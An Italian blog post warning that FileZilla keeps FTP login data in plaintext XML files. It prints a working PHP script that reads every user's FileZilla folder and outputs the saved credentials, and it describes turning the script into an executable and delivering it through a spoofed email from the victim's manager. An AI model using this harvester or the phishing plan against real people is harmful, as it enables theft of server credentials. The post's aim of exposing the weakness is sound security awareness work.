Chi non ha mai usato Filezilla per collegarsi ad un FTP remoto perl’upload di file via FTP ? Pochi, pochissimi, forse nessuno. Fatto sta che pur essendo un ottimo client FTP con la gestione delle TAB, l’ottima velocita’ durante upload e download e’ piuttosto deficitario dal punto di vista della sicurezza. Nell’articolo mostreremo proprio cosa puo’ accadere nell’utilizzarlo…
Ecco lo scenario tipo: ammettiamo quindi di aver scaricato Filezilla e di utilizzarlo per caricare i nostri file nel nostro spazio FTP che magari risiede in una macchina dedicata che utilizziamo per clienti che necessitano di risorse particolari a cui teniamo particolarmente.
Supponiamo che ci arrivi una mail dal nostro responsabile che ci chieda il classico feedback urgente su questo o quell’altro progetto inviandoci un link da cui scaricare un file.
Cosa accade in questi casi ?
a) l’antivirus suona “allarme rosso…houston we have a problem!”<br />
b) cestiniamo la mail.
c) lo apriamo e non appare nulla, ci riproviamo, stessa situazione; rispondiamo alla mail ed il responsabile s’arrota perche’ non ci ha mandato nulla con nostra somma sorpresa!
Esperti di sicurezza hanno approvato l’uso della “c” come fattore predominante durante il loro lavoro (:
Cosa accade in questa “simpatica” pagina bianca ? Potrebbe capitare una cosa di questo tipo: un utente piu’ smaliziato potrebbe aver creato uno script simile al seguente:
<?php
$arrayExclude = array(“All”, “All Users”, “Default User”, “Default”,”User”,”DefaultAppPool”,”desktop.ini”,”Public”);
$arrayExcludeFz = array(“bookmarks.xml”,”filezilla.xml”,”filters.xml”,”layout.xml”,”queue.sqlite3″,”search.xml”);
$defaultDir = “c:\Users”;
if ($handle = opendir($defaultDir)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != “.” && $entry != “..” && (!in_array($entry,$arrayExclude)) )
{
$defaultDir2 = $defaultDir.”\\”.$entry.”\AppData\Roaming\Filezilla\\”;
if ($handle2 = opendir($defaultDir2)) {
while (false !== ($entry = readdir($handle2))) {
if ($entry != “.” && $entry != “..” && (!in_array($entry,$arrayExcludeFz)) )
{
$fileLocale = $defaultDir2.$entry;
$getTxt = @fopen(“$fileLocale”,”r”);
if ($getTxt)
while($dati = fgets($getTxt))
echo($dati.”<br>”);
}
}
}
}
}
closedir($handle);
}
?>
Avrebbe potuto convertirlo in un eseguibile, comprimerlo e caricarlo su qualche hosting free in modo che giri standalone. Dopodiche’ e’ facile creare una mail confezionata ad hoc in modo che arrivi dal tuo responsabile per invitarti ad aprire un url della forma http://goo.gl/J7iSt per scaricare il file opportunamente compresso con winrar magari chiedendoti via mail un feedback rapido.
Come fare per capire cosa fai, chi sei e di chi hai timore reverenziale ? Bhe’ ma per questo basta semplicemente un giro su Linkedin!
La domanda a questo punto sorge spontanea: e’ forse una features apppositamente realizzata dal team di Filezilla quella di salvare in chiaro tutti i dati delle connessioni FTP in file XML cosi’ facilmente reperibili ?
Ma sopratutto: hai gia’ cambiato client FTP ?
Per vedere meglio il funzionamento basta seguire questi semplici step:
1. tenere premuto il tasto di windows e premere la lettera “r”
2. nella finestra che compare digitare %appdata%\filezilla
3. aprire con il blocco note i file:
sitemanager.xml
recentservers.xml
Questo in breve quello che fa lo script solo che invece di mostrarve a video i dati dell’XML e’ banale modificarlo per fare in modo che i dati vengano encodati e spediti ad un url remoto che accoglie i dati che gli vengono passati da una variabile e li salva in un file.
Adesso immaginatevi cosa potrebbe succedere se il vostro hosting e’ configurato in maniera poco sicura come spiegato qui
Un commento su “FileZilla: l’xml che tradisce la sicurezza”